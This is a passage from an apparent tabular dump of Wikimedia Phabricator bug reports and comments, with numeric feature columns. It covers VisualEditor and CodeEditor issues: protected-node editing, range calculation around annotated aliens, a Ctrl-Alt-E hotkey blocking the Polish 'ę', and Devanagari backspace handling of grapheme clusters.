To be clear, we are still prevented from editing the text. We are not prevented from editing templates, and we can insert text before div."
238402,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","The original person to report this noted that they were using Chrome 29 on Windows 7.

I have been unable to reproduce this in Firefox 23 on Linux.

Neither kww or the ip who can reproduce this have noted their system.",,,1378318792,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,9.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,4.0,15.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,13.0,9.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9130434782608696,0.782608695652174,"The original person to report this noted that they were using Chrome 29 on Windows 7.

I have been unable to reproduce this in Firefox 23 on Linux.

Neither kww or the ip who can reproduce this have noted their system."
55766,VisualEditor: Range around an annotated alien calculated incorrectly,"1. Create '<p>Foo<cite>Bar</cite>Baz</p>'
2. Select Bar
3. Range is now [4,6] (correct as <cite/> becomes [<alien>,</alien>])
4. Bold the selection
5. Range is now [6,6] :(

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1378317600,1378399268.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-ejnmmkuva4ygwqwckki3,task_description,resolved,True,c1,3,True,False,True,9,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,14.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,1.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.896103896103896,0.5714285714285714,"1. Create '<p>Foo<cite>Bar</cite>Baz</p>'
2. Select Bar
3. Range is now [4,6] (correct as <cite/> becomes [<alien>,</alien>])
4. Bold the selection
5. Range is now [6,6] :(

--------------------------
**Version**: unspecified
**Severity**: normal"
238369,VisualEditor: Range around an annotated alien calculated incorrectly,"Change 82771 merged by jenkins-bot:
Fix getOffsetFrom(Element|Text)Node for annotated aliens

https://gerrit.wikimedia.org/r/82771",,,1378367478,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ejnmmkuva4ygwqwckki3,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,"Change 82771 merged by jenkins-bot:
Fix getOffsetFrom(Element|Text)Node for annotated aliens

GERRIT_URL"
238366,VisualEditor: Range around an annotated alien calculated incorrectly,"Change 82771 had a related patch set uploaded by Esanders:
Fix getOffsetFrom(Element|Text)Node for annotated aliens

https://gerrit.wikimedia.org/r/82771",,,1378339784,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ejnmmkuva4ygwqwckki3,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,"Change 82771 had a related patch set uploaded by Esanders:
Fix getOffsetFrom(Element|Text)Node for annotated aliens

GERRIT_URL"
55763,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","[Please move this to a different component if applicable, I'm not sure where the editor comes from.]

It is impossible to insert the ""ę"" or ""Ę"" characters (latin letter ""e""/""E"" with ogonek) from keyboard when editing in Module: namespace with the code editor on the Polish Wikipedia.

""ę"" is inserted on the Polish keyboard using AltGr+e (aka Ctrl+Alt+e). If the editor uses this as a hotkey, it shouldn't (nor should it use any other Ctrl+Alt combinations).

(Reported at https://pl.wikipedia.org/wiki/Wikipedia:Kawiarenka/Kwestie_techniczne#VisualEditor_a_polskie_diakrytyki)

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1378316100,1702336181.0,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-psky7k3cs2jglhz37xhh,task_description,resolved,True,c1,3,True,True,False,9,,1.0,0.0,0.0,1.0,1.5,7.0,0.5,0.0,0.0,1.5,1.5,1.5,0.0,0.0,0.0,0.5,0.0,3.0,7.5,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,10.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,1.5,10.5,2.5,1.5,7.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,2.5,7.5,3.5,0.0,4.5,0.0,2.5,0.0,1.0,1.5,0.0,1.5,0.0,0.0,0.5,3.753968253968254,0.746031746031746,"[Please move this to a different component if applicable, I'm not sure where the editor comes from.]

It is impossible to insert the ""ę"" or ""Ę"" characters (latin letter ""e""/""E"" with ogonek) from keyboard when editing in Module: namespace with the code editor on the Polish Wikipedia.

""ę"" is inserted on the Polish keyboard using AltGr+e (aka Ctrl+Alt+e). If the editor uses this as a hotkey, it shouldn't (nor should it use any other Ctrl+Alt combinations).

(Reported at URL

--------------------------
**Version**: unspecified
**Severity**: normal"
2245103,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","This works correctly these days.

It was apparently fixed by https://github.com/ajaxorg/ace/pull/1463 ([[https://github.com/ajaxorg/ace/pull/1463/commits/d4bdfe33001b4c13134515b0fa53b6b64d8b3ee1|d4bdfe33001b4c13134515b0fa53b6b64d8b3ee1]]) – which was already merged when I was filing this bug :) – and we upgraded to that version in https://gerrit.wikimedia.org/r/c/mediawiki/extensions/CodeEditor/+/104510 (early 2014).",,,1702336260,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,True,,,545,,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,12.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,2.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,5.0,3.488372093023256,0.813953488372093,"This works correctly these days.

It was apparently fixed by URL ([[URL – which was already merged when I was filing this bug :) – and we upgraded to that version in URL (early 2014)."
2245102,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","This works correctly these days.

It was apparently fixed by https://github.com/ajaxorg/ace/pull/1463 – which was already merged when I was filing this bug :) – and we upgraded to that version in https://gerrit.wikimedia.org/r/c/mediawiki/extensions/CodeEditor/+/104510 (early 2014).",,,1702336181,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,True,,,545,,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,3.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6923076923076925,0.8717948717948718,"This works correctly these days.

It was apparently fixed by URL – which was already merged when I was filing this bug :) – and we upgraded to that version in URL (early 2014)."
238231,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","These are all the default defined key combinations:
https://github.com/ajaxorg/ace/blob/40ea516801332fb8e96f8ba2e5046eece2fd95d3/lib/ace/commands/default_commands.js",,,1388500776,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,True,,,26,,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,1.0,"These are all the default defined key combinations:
URL"
238222,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","In that case, it looks like you could follow the example in modules/jquery.codeEditor.js near line 151 to disable this command too.",,,1378324088,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,8.0,20.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.44,1.0,"In that case, it looks like you could follow the example in modules/jquery.codeEditor.js near line 151 to disable this command too."
238214,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","@Brad, depending on how exactly you remapped it, the Ctrl+Alt+E might be mapped to ""ę"" in some lower-level layer, not letting the browser even see it. (I used this a few times to wrestle with some stupid applications which take Ctrl+Alt shortcuts for themselves to take it away from them.)

Some grepping shows ACE Editor uses ""Ctrl-Alt-E"" / ""Command-Option-E"" for the ""togglerecording"" command. This is most likely the culprit.

This seems to be the only Ctrl-Alt shortcut involving regular letters (there are also a few with arrow keys and backspace).",,,1378320708,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,True,,,9,,3.0,0.0,0.0,0.5,0.5,6.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.5,1.0,4.0,6.5,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.5,0.0,1.0,5.0,1.5,1.5,0.0,0.5,1.0,0.0,0.5,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,10.5,1.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,4.5,3.0,12.5,0.5,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,3.5,6.5,6.0,0.0,6.0,0.0,3.5,0.0,1.0,1.5,1.0,2.5,0.5,1.0,0.0,3.806451612903226,0.7741935483870968,"SCREEN_NAME, depending on how exactly you remapped it, the Ctrl+Alt+E might be mapped to ""ę"" in some lower-level layer, not letting the browser even see it. (I used this a few times to wrestle with some stupid applications which take Ctrl+Alt shortcuts for themselves to take it away from them.)

Some grepping shows ACE Editor uses ""Ctrl-Alt-E"" / ""Command-Option-E"" for the ""togglerecording"" command. This is most likely the culprit.

This seems to be the only Ctrl-Alt shortcut involving regular letters (there are also a few with arrow keys and backspace)."
238207,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","You want CodeEditor.

I note that I can type ę and Ę fine in CodeEditor from here, where the key combinations are ""<Compose> ; e"" and ""<Compose> ; E"".

I also remapped Ctrl+Alt+E to ""ę"" temporarily, and I was able to enter that character using that key combination in CodeEditor on a module page on plwiki with no issues (using Firefox 24 on Linux).",,,1378319184,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,12.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,6.0,12.0,10.0,0.0,7.0,0.0,6.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,7.0,3.4698795180722892,0.6506024096385542,"You want CodeEditor.

I note that I can type ę and Ę fine in CodeEditor from here, where the key combinations are ""<Compose> ; e"" and ""<Compose> ; E"".

I also remapped Ctrl+Alt+E to ""ę"" temporarily, and I was able to enter that character using that key combination in CodeEditor on a module page on plwiki with no issues (using Firefox 24 on Linux)."
55754,VisualEditor: Implement script-specific cursoring for Devanagari if native cursoring is insufficient,"* This is language/script specific diacritic specific bug split from {T53472}

* For language Marathi Script Devanagari anuswara diacritic is  ं 
* If one types the anuswara diacritic  ं  after any devanagari script alphabet it is usually place above the concerned alphabet. For example  क is a Marathi/Devanagari alphabet if I type क+ ं I get  कं  
* If I place cursor before the cluster कं and press delete then whole cluster gets deleted and that is right way to happen, and this behaviour needs to be retained (since if basic alphabet is not there then no need of anuswara diacritic  ं) .
* Problem: In Visual Editor if I place cursor after the cluster e.g. after कं and press backspace current behaviour is the whole cluster gets deleted. Example कं + Backspace key = results in whole cluster getting deleted.
* Expected behaviour is: Cluster with anuswara diacritic (कं) + Backspace key = retain rest of cluster(retain क ) and only anuswara diacritic  ं should get deleted.
* Reason: During spell correction many times we need to retain rest of the cluster and only change the diacritics. For anuswara   ं diacritic spell change is required frequently for various reasons like change in singular-plural tense. Every time retyping the whole cluster is cumbersome. Traditional Source editing behaviour is proper and expected and problem is coming only with VisualEditor behaviour.
* For example please see this https://mr.wikipedia.org/w/index.php?title=कृष्ण_श्रीनिवास_अर्जुनवाडकर&diff=1198833&oldid=1198826 edit difference a user had to change this diacritic at several places.

Since users would be reluctant to use VE without correct behaviour, I would prefer this being treated as a bug not just enhancement and to have  fair importance level.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1378306620,1449602907.0,PHID-USER-azy72hrp3tpetr52aob6,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-6g646hsi3p3j73jyxxaz,task_description,resolved,True,c1,3,False,False,False,9,,1.0,0.0,0.0,0.75,0.5,8.75,1.5,0.0,0.0,1.25,1.25,0.0,0.0,0.75,0.0,1.5,0.0,3.25,10.0,0.0,1.75,0.25,0.5,0.0,0.25,0.25,0.0,0.25,0.0,0.5,0.75,6.0,1.25,0.25,0.0,0.0,0.0,0.0,0.25,0.5,0.25,0.0,0.0,0.75,0.0,1.25,0.0,0.0,0.0,19.0,0.75,0.75,0.0,0.25,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.75,4.0,10.0,1.75,3.0,5.25,0.0,0.0,0.0,0.0,3.25,0.25,0.25,0.0,1.75,10.0,6.0,0.0,0.0,0.0,1.75,0.0,0.0,0.75,0.0,1.0,0.25,0.0,0.0,4.3068977591036415,0.7021358543417368,"* This is language/script specific diacritic specific bug split from {T53472}

* For language Marathi Script Devanagari anuswara diacritic is  ं 
* If one types the anuswara diacritic  ं  after any devanagari script alphabet it is usually place above the concerned alphabet. For example  क is a Marathi/Devanagari alphabet if I type क+ ं I get  कं  
* If I place cursor before the cluster कं and press delete then whole cluster gets deleted and that is right way to happen, and this behaviour needs to be retained (since if basic alphabet is not there then no need of anuswara diacritic  ं) .
* Problem: In Visual Editor if I place cursor after the cluster e.g. after कं and press backspace current behaviour is the whole cluster gets deleted. Example कं + Backspace key = results in whole cluster getting deleted.
* Expected behaviour is: Cluster with anuswara diacritic (कं) + Backspace key = retain rest of cluster(retain क ) and only anuswara diacritic  ं should get deleted.
* Reason: During spell correction many times we need to retain rest of the cluster and only change the diacritics. For anuswara   ं diacritic spell change is required frequently for various reasons like change in singular-plural tense. Every time retyping the whole cluster is cumbersome. Traditional Source editing behaviour is proper and expected and problem is coming only with VisualEditor behaviour.
* For example please see this URL edit difference a user had to change this diacritic at several places.

Since users would be reluctant to use VE without correct behaviour, I would prefer this being treated as a bug not just enhancement and to have  fair importance level.

--------------------------
**Version**: unspecified
**Severity**: normal"
575077,VisualEditor: Implement script-specific cursoring for Devanagari if native cursoring is insufficient,I'm provisionally deeming this fixed. We changed this behaviour significantly since this was filed. Please re-open if you find issues.,,,1449602907,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6g646hsi3p3j73jyxxaz,task_subcomment,,True,c1,3,True,,,127,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.423076923076923,0.8461538461538461,I'm provisionally deeming this fixed. We changed this behaviour significantly since this was filed. Please re-open if you find issues.
421344,VisualEditor: Implement script-specific cursoring for Devanagari if native cursoring is insufficient,">>! In T55754#549797 in October 2013, @Jdforrester-WMF wrote:
> we're switching back to native cursoring and backspacing, which hopefully will fix this

@Mahitgar: Do you know if this is still a problem in Devanagari? (I'm afraid I'm missing input method skills to test this myself.)",,,1425552598,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6g646hsi3p3j73jyxxaz,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,9.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,12.0,9.0,6.0,3.0,0.0,0.0,12.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.588235294117647,0.8529411764705882,"QUOTE
QUOTE
SCREEN_NAME: Do you know if this is still a problem in Devanagari? (I'm afraid I'm missing input method skills to test this myself.)"
237655,VisualEditor: Implement script-specific cursoring for Devanagari if native cursoring is insufficient,"Retitled for clarity; we're switching back to native cursoring and backspacing, which hopefully will fix this, but keeping this open and distinct in case not.",,,1381274519,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6g646hsi3p3j73jyxxaz,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,4.466666666666667,0.9,"Retitled for clarity; we're switching back to native cursoring and backspacing, which hopefully will fix this, but keeping this open and distinct in case not."
237650,VisualEditor: Implement script-specific cursoring for Devanagari if native cursoring is insufficient,"Per Bug 51472#c4 , the grapheme cluster handling for backspace is to be on a per script basis. So, this should be treated as the bug for specifically devanagari.

Also note that I am confirming the bug for hindi.

To further clarify the original report, devanagari has various diacritics which can be applied to base unicode characters. It also has a combining character halant (viram) ् (U+094D).

Currently, pressing backspace after a grapheme cluster containing one or more base characters with one or more diacritics and/or combining character deletes the entire grapheme cluster. This is not desired behaviour. Pressing delete before a cluster deletes the entire cluster. This is desired behaviour.

Examples of diacritics: ँ (Chandrabindu) U+0901 ं (Bindu) U+0902 etc.

Examples of grapheme clusters:

One base character with one diacritic: कं ( क + ं ), कँ ( क + ँ ), कः ( क + ः )

One base character with multiple diacritics: किं ( क + ि + ं )

Multiple base characters with halant: श्र ( श + ् + र ), क्ष ( क + ् + ष ), प्र ( प + ् + र )

Multiple base characters with halant followed by diacritics: श्रिं (श + ् + र + ि + ं), क्षि ( क + ् + ष + ि ), प्रे ( प + ् + र + े )

System environment:
Win7 X64
Google Chrome 29.0.1547.62 m
Page used for testing: [[:w:hi:User:Siddhartha Ghai/sandbox]]

Expected behaviour:
Only one diacritic (the last one in the grapheme), ie one unicode character, is to be deleted. The rest of the grapheme cluster is to stay intact.

Examples used (not exhaustive):
Grapheme -> Grapheme after pressing backspace
कं -> क
कँ -> क
कः -> क
क् -> क
किं -> कि
श्र -> श्
क्ष -> क्
प्र -> प्
श्रिं -> श्रि
क्षि -> क्ष
प्रे -> प्र

Current behaviour (blank indicates entire grapheme cluster was removed) (these results should be verified on other browser/OS combinations):
कं -> 
कँ -> 
कः -> 
क् -> 
किं ->
श्र -> श्  (Working correctly)
क्ष -> क् (Working correctly)
प्र -> प् (Working correctly)
श्रिं -> श् (Deletes र + ि + ं , ie three unicode characters instead of one)
क्षि -> क् (Deletes ष + ि , ie two unicode characters instead of one)
प्रे -> प् (Deletes र + े , ie two unicode characters instead of one)

Points to note:
Some IMEs may provide non-normalized input for characters such as फ़ (U+095E) in place of फ (U+092B) + ़ (U+093C), ढ़ (U+095D) in place of ढ (U+0922) + ़ (U+093C) etc. In such cases, the user may expect that pressing a backspace will only eliminate the diacritic, not the entire grapheme. So, VE may have to handle normalization in such cases.

Results seem to indicate that halant is partially correctly handled. letter + halant + letter + backspace gives letter + halant correctly. But
letter + halant + backspace, instead of giving the letter, deletes the entire grapheme.

The remaining diacritics as of unicode 3.0 come under Nonspacing mark (Mn) and Spacing combining mark (Mc) (Note: This does not include devanagari extended added in unicode 6.0 and vedic extensions added in unicode 6.1)",,,1378411609,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-6g646hsi3p3j73jyxxaz,task_subcomment,,True,c1,3,False,,,9,,0.125,0.0,0.0,1.0,0.5,4.125,0.5,0.0,0.0,0.0,1.75,0.0,0.0,0.375,0.0,0.125,0.375,3.75,6.875,0.0,0.875,0.25,0.0,0.0,0.25,0.0,0.0,0.0,0.5,0.125,0.125,2.25,0.875,0.125,0.5,0.0,0.125,0.0,0.25,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.25,16.375,0.625,0.125,0.0,0.25,0.0,0.25,0.0,0.0,0.125,0.5,0.0,0.5,0.125,0.125,0.0,0.125,0.0,2.625,1.625,8.375,0.25,4.5,3.75,0.0,0.0,0.0,0.0,2.375,0.0,3.875,0.0,0.375,6.875,10.125,0.0,0.0,0.0,0.375,0.0,0.125,0.625,0.0,2.125,0.25,0.0,3.0,3.409233821733822,0.5601343101343101,"Per Bug 51472#c4 , the grapheme cluster handling for backspace is to be on a per script basis. So, this should be treated as the bug for specifically devanagari.

Also note that I am confirming the bug for hindi.

To further clarify the original report, devanagari has various diacritics which can be applied to base unicode characters. It also has a combining character halant (viram) ् (U+094D).

Currently, pressing backspace after a grapheme cluster containing one or more base characters with one or more diacritics and/or combining character deletes the entire grapheme cluster. This is not desired behaviour. Pressing delete before a cluster deletes the entire cluster. This is desired behaviour.

Examples of diacritics: ँ (Chandrabindu) U+0901 ं (Bindu) U+0902 etc.

Examples of grapheme clusters:

One base character with one diacritic: कं ( क + ं ), कँ ( क + ँ ), कः ( क + ः )

One base character with multiple diacritics: किं ( क + ि + ं )

Multiple base characters with halant: श्र ( श + ् + र ), क्ष ( क + ् + ष ), प्र ( प + ् + र )

Multiple base characters with halant followed by diacritics: श्रिं (श + ् + र + ि + ं), क्षि ( क + ् + ष + ि ), प्रे ( प + ् + र + े )

System environment:
Win7 X64
Google Chrome 29.0.1547.62 m
Page used for testing: [[:w:hi:User:Siddhartha Ghai/sandbox]]

Expected behaviour:
Only one diacritic (the last one in the grapheme), ie one unicode character, is to be deleted. The rest of the grapheme cluster is to stay intact.

Examples used (not exhaustive):
Grapheme -> Grapheme after pressing backspace
कं -> क
कँ -> क
कः -> क
क् -> क
किं -> कि
श्र -> श्
क्ष -> क्
प्र -> प्
श्रिं -> श्रि
क्षि -> क्ष
प्रे -> प्र

Current behaviour (blank indicates entire grapheme cluster was removed) (these results should be verified on other browser/OS combinations):
कं -> 
कँ -> 
कः -> 
क् -> 
किं ->
श्र -> श्  (Working correctly)
क्ष -> क् (Working correctly)
प्र -> प् (Working correctly)
श्रिं -> श् (Deletes र + ि + ं , ie three unicode characters instead of one)
क्षि -> क् (Deletes ष + ि , ie two unicode characters instead of one)
प्रे -> प् (Deletes र + े , ie two unicode characters instead of one)

Points to note:
Some IMEs may provide non-normalized input for characters such as फ़ (U+095E) in place of फ (U+092B) + ़ (U+093C), ढ़ (U+095D) in place of ढ (U+0922) + ़ (U+093C) etc. In such cases, the user may expect that pressing a backspace will only eliminate the diacritic, not the entire grapheme. So, VE may have to handle normalization in such cases.

Results seem to indicate that halant is partially correctly handled. letter + halant + letter + backspace gives letter + halant correctly. But
letter + halant + backspace, instead of giving the letter, deletes the entire grapheme.

